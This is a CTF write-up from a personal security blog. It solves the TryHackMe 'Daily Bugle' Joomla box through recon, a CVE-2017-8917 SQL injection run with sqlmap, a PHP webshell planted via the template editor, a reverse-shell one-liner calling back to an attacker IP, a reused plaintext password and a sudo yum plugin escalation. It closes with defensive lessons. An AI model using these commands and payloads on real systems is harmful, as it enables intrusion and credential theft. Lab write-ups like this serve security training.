Skip to main content
  1. CTF write-ups/

TryHackMe: Daily Bugle

·1633 words·8 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

Platform: TryHackMe

Difficulty: Hard

Category: Web Exploitation

Skills Covered: Web enumeration, SQLi, hash cracking, CMS exploitation, PHP webshell, Linux privilege escalation via sudo


Overview
#

Daily Bugle is a hard difficulty machine centered around a Joomla CMS deployment with a known CVE. The attack path starts with identifying the Joomla version through version disclosure in a public file, exploiting a documented SQL injection vulnerability to extract and crack an admin password, and then abusing Joomla’s template editor to plant a PHP webshell for initial access. Privilege escalation comes down to a misconfigured sudo rule that allows the low-privilege user to run yum as root.

The core chain looks like this:

  1. Enumerate the target to identify a Joomla CMS and its version
  2. Exploit CVE-2017-8917 (Joomla 3.7 SQLi) to extract the admin password hash
  3. Crack the bcrypt hash offline and authenticate to the Joomla admin panel
  4. Inject a PHP webshell through the template editor to achieve RCE
  5. Pivot to a local user via a plaintext password found in the CMS configuration file
  6. Escalate to root by abusing an unrestricted sudo yum rule via a malicious plugin

Reconnaissance
#

Port Scanning
#

Starting with a targeted Nmap scan against the known ports:

# Nmap 7.98 scan initiated Sat Apr 11 17:17:10 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80,3306 -4 -A -oN scan.txt 10.64.188.150
Nmap scan report for 10.64.188.150
Host is up, received reset ttl 62 (0.036s latency).
Scanned at 2026-04-11 17:17:11 EDT for 22s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)

80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40

3306/tcp open  mysql   syn-ack ttl 62 MariaDB 10.3.23 or earlier (unauthorized)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 11 17:17:33 2026 -- 1 IP address (1 host up) scanned in 22.96 seconds

Three ports are open: SSH on 22, an Apache web server on 80, and a MariaDB instance on 3306 that rejects external connections. Nmap immediately fingerprints the HTTP service as Joomla via the http-generator header, and the robots.txt entries confirm standard Joomla directory structure — including /administrator/, the CMS admin panel.

Web Enumeration
#

Running dirsearch to map out the full web surface:

┌──(parallels㉿Kali)-[~/targets/DailyBugel]                                                                                   
└─$ dirsearch -u http://10.64.188.150/                                                                                                                                                                                                                       
  _|. _ _  _  _  _ _|_    v0.4.3                                                
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                               
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460                                                                                                                                                      

Output File: /home/parallels/targets/DailyBugel/reports/http_10.64.188.150/__26-04-11_17-19-24.txt
                                                            
Target: http://10.64.188.150/                               
                                                            
[17:19:24] Starting:                                        
[17:19:27] 403 -  213B  - /.ht_wsr.txt                      
[17:19:27] 403 -  216B  - /.htaccess.bak1 
[17:19:27] 403 -  216B  - /.htaccess.orig                   
[17:19:27] 403 -  218B  - /.htaccess.sample                 
[17:19:27] 403 -  216B  - /.htaccess.save                   
[17:19:27] 403 -  217B  - /.htaccess_extra                  
[17:19:27] 403 -  214B  - /.htaccessBAK                     
[17:19:27] 403 -  216B  - /.htaccess_orig                   
[17:19:27] 403 -  214B  - /.htaccessOLD                     
[17:19:27] 403 -  214B  - /.htaccess_sc                     
[17:19:27] 403 -  215B  - /.htaccessOLD2                    
[17:19:27] 403 -  206B  - /.htm                             
[17:19:27] 403 -  207B  - /.html    
[17:19:27] 403 -  216B  - /.htpasswd_test                                                                                
[17:19:27] 403 -  212B  - /.htpasswds             
[17:19:27] 403 -  213B  - /.httr-oauth                      
[17:19:29] 403 -  211B  - /.user.ini                                                                                     
[17:19:32] 301 -  243B  - /administrator  ->  http://10.64.188.150/administrator/
[17:19:32] 200 -    2KB - /administrator/includes/
[17:19:32] 200 -   31B  - /administrator/cache/
[17:19:32] 301 -  248B  - /administrator/logs  ->  http://10.64.188.150/administrator/logs/                              
[17:19:32] 200 -   31B  - /administrator/logs/
[17:19:32] 200 -    5KB - /administrator/index.php                                                                       
[17:19:32] 200 -    5KB - /administrator/                                                                                
[17:19:33] 301 -  233B  - /bin  ->  http://10.64.188.150/bin/
[17:19:33] 200 -   31B  - /bin/
[17:19:33] 301 -  235B  - /cache  ->  http://10.64.188.150/cache/                                                        
[17:19:33] 200 -   31B  - /cache/     
[17:19:34] 403 -  210B  - /cgi-bin/         
[17:19:34] 200 -   31B  - /cli/        
[17:19:34] 301 -  240B  - /components  ->  http://10.64.188.150/components/                                              
[17:19:34] 200 -   31B  - /components/                      
[17:19:34] 200 -    0B  - /configuration.php                                                                             
[17:19:37] 200 -    3KB - /htaccess.txt
[17:19:37] 301 -  236B  - /images  ->  http://10.64.188.150/images/
[17:19:37] 200 -   31B  - /images/                          
[17:19:37] 301 -  238B  - /includes  ->  http://10.64.188.150/includes/                                                  
[17:19:37] 200 -   31B  - /includes/
[17:19:37] 200 -    9KB - /index.php                                                                                     
[17:19:37] 404 -    3KB - /index.php/login/                 
[17:19:38] 301 -  238B  - /language  ->  http://10.64.188.150/language/
[17:19:38] 200 -   31B  - /layouts/                              
[17:19:38] 301 -  239B  - /libraries  ->  http://10.64.188.150/libraries/
[17:19:38] 200 -   31B  - /libraries/                                   
[17:19:38] 200 -   18KB - /LICENSE.txt
[17:19:38] 301 -  235B  - /media  ->  http://10.64.188.150/media/    
[17:19:39] 200 -   31B  - /media/  
[17:19:39] 301 -  237B  - /modules  ->  http://10.64.188.150/modules/
[17:19:39] 200 -   31B  - /modules/  
[17:19:40] 301 -  237B  - /plugins  ->  http://10.64.188.150/plugins/                                                                            
[17:19:40] 200 -   31B  - /plugins/                                     
[17:19:41] 200 -    4KB - /README.txt      
[17:19:41] 200 -  836B  - /robots.txt          
[17:19:43] 301 -  239B  - /templates  ->  http://10.64.188.150/templates/
[17:19:43] 200 -   31B  - /templates/                                   
[17:19:43] 200 -    0B  - /templates/beez3/
[17:19:43] 200 -   31B  - /templates/index.html
[17:19:43] 200 -    0B  - /templates/protostar/
[17:19:43] 200 -    0B  - /templates/system/
[17:19:43] 200 -   31B  - /tmp/
[17:19:43] 301 -  233B  - /tmp  ->  http://10.64.188.150/tmp/
[17:19:44] 200 -    2KB - /web.config.txt

Task Completed     

The scan confirms the full Joomla directory layout and the Joomla admin panel at /administrator/.

The Joomla administrator login page

Version Disclosure via README.txt
#

Joomla ships with a README.txt file in the web root that publicly discloses the CMS version. Fetching it reveals Joomla 3.7.

README.txt showing Joomla version 3.7

Joomla 3.7.0 is affected by CVE-2017-8917, a SQL injection vulnerability in the com_fields component. The vulnerable parameter is list[fullordering], which is passed directly into an SQL query without sanitization.

CVE-2017-8917 vulnerability details — Component Fields SQLi RCE


Initial Access
#

Exploiting CVE-2017-8917: SQL Injection with SQLMap
#

With a known vulnerable parameter and version confirmed, I ran sqlmap against the target. It quickly confirmed a blind time-based SQL injection in the list[fullordering] parameter.

SQLMap confirming blind time-based SQL injection

Next, I enumerated the database tables and identified the joomla database containing a #__users table. Dumping its columns revealed the fields we care about: username, password, name, email, and id.

sqlmap -u "http://10.67.135.252/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomla -T "#__users" --columns

SQLMap output showing #__users table columns

Targeting the Jonah account specifically:

sqlmap -u "http://10.67.135.252/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomla --sql-query "SELECT username, password FROM \`#__users\` WHERE username = 'Jonah'"

SQLMap dumping Jonah’s username and password hash

Cracking the Hash
#

The recovered password is a bcrypt hash. Cracking it offline with a wordlist reveals the plaintext: spiderman123.

Hash cracked — password is spiderman123

Admin Panel Access
#

Authenticating to the Joomla administrator panel at /administrator/ with jonah:spiderman123 confirms super user access.

Joomla admin panel — logged in as super user

PHP Webshell via Template Editor
#

Joomla’s admin panel includes a template editor that allows direct modification of PHP template files. I navigated to the template editor and appended a minimal PHP webshell to the footer of index.php:

Editing index.php in the Joomla template editor to inject a webshell

With the webshell in place, passing a cmd query parameter to the site root confirmed remote code execution on the server.

RCE confirmed via ?cmd= parameter

Reverse Shell
#

Using the webshell’s cmd parameter, I triggered a PHP reverse shell one-liner back to my listener:

http://10.64.140.240/index.php?cmd=php -r '%24sock%3Dfsockopen("192.168.134.8"%2C4444)%3Bexec("%2Fbin%2Fsh -i <%263 >%263 2>%263")%3B'

Reverse shell caught on netcat listener

I then upgraded the dumb shell to a fully interactive TTY:

Shell upgraded to full bash TTY


Lateral Movement: www-data to jjameson
#

Enumerating the Filesystem
#

With a shell as www-data, I could see a home directory for user jjameson, but lacked permission to access it.

jjameson home directory — permission denied

The spiderman123 password from earlier doesn’t work for jjameson’s local account. Instead, I performed a recursive search for the string “password” within the web root, which is always a great place to start when landing in a box from a web shell. Its very common that credentials stored in CMS configuration files in this directory:

grep -Ri "password"

grep results showing $password variable in configuration.php

The search revealed a plaintext password stored in configuration.php:

nv5uz9r3ZEDzVjNu

Testing it against jjameson’s account:

Successfully switching to jjameson with the recovered password

It worked. The CMS database password was being reused as the local system account password.

User Flag
#

user.txt retrieved


Privilege Escalation: jjameson to root
#

Sudo Enumeration
#

Checking jjameson’s sudo privileges reveals a dangerous misconfiguration:

sudo -l output showing NOPASSWD yum

jjameson can run yum as root with no password. GTFOBins documents a well-known privilege escalation path for this exact scenario using a malicious yum plugin.

GTFOBins yum privilege escalation technique

Building the Malicious Yum Plugin
#

The technique works by creating a custom yum plugin containing arbitrary Python code. When yum loads the plugin at runtime with root privileges, the code executes as root.

Step 1: Create a yum configuration file pointing to a custom plugin directory:

Creating yum.conf to point at the custom plugin directory

Step 2: Create the plugin configuration file to enable the plugin:

Creating the plugin .conf file to enable it

Step 3: Write the plugin itself (shell.py) — a simple os.system call to spawn a root shell:

The shell.py plugin executing os.system to spawn a shell

Root Shell
#

Running sudo yum with the custom configuration loads the plugin and executes our payload, dropping a root shell:

yum executing the malicious plugin — root shell obtained

Root Flag
#

root.txt retrieved


Key Takeaways
#

CMS version disclosure is a trivial but high-value finding. The Joomla README.txt file is publicly accessible by default and directly disclosed the version. That single piece of information narrowed the attack surface to a specific CVE immediately. Remove or restrict files disclosing sensitive information before exposing a CMS to the internet.

Known CVEs against unpatched CMS installs are reliable attack vectors. CVE-2017-8917 is well-documented and trivially exploitable with SQLMap. Keeping CMS software updated, particularly for critical SQL injection CVEs, is a fundamental patching hygiene requirement.

CMS configuration files are high-value targets during post-exploitation. configuration.php held a plaintext database password that doubled as a local account credential. Secrets stored in application config files should use least-privilege database accounts, and system account passwords should never be reused for application database access.

Unrestricted sudo on package managers is a critical misconfiguration. Granting NOPASSWD sudo access to yum, apt, pip, or any other tool that can load plugins or execute arbitrary code is equivalent to granting root. Any sudo rule allowing a package manager should be treated as a full root grant and avoided entirely.